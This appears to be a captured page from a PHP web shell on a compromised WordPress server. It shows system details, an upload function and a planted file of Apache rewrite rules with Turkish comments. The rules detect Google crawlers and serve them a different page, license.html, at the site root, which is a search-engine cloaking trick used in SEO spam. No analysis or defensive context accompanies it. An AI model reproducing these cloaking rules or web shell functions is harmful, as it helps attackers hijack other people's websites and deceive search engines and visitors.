HEX
Server: Apache/2.4.52 (Ubuntu)
System: Linux WebLive 5.15.0-79-generic #86-Ubuntu SMP Mon Jul 10 16:07:21 UTC 2023 x86_64
User: ubuntu (1000)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/html/wptalentcloud/wp-content/testok.som
# === GOOGLEBOT ANA URL'DE license.html GÖSTER ===
# Google botlarına ait tüm bilinen UA'lar
SetEnvIfNoCase User-Agent "Googlebot|Google-InspectionTool|Mediapartners-Google|AdsBot-Google|FeedFetcher-Google|DuplexWeb-Google|Storebot-Google|Google-PageRenderer|Google-Structured-Data-Testing-Tool" IS_GOOGLE=1

<IfModule mod_rewrite.c>
RewriteEngine On

# Sadece ANA URL (/) için ve sadece Google botları için
RewriteCond %{ENV:IS_GOOGLE} =1
RewriteCond %{REQUEST_URI} ^/$
# license.html kökte olmalı
RewriteRule ^$ license.html [L]
</IfModule>

# (İsteğe bağlı) Botlara cache kapat; canlı içerik görsün
<IfModule mod_headers.c>
    Header set Cache-Control "no-store, no-cache, must-revalidate" env=IS_GOOGLE
</IfModule>
# === / GOOGLEBOT KURALI ===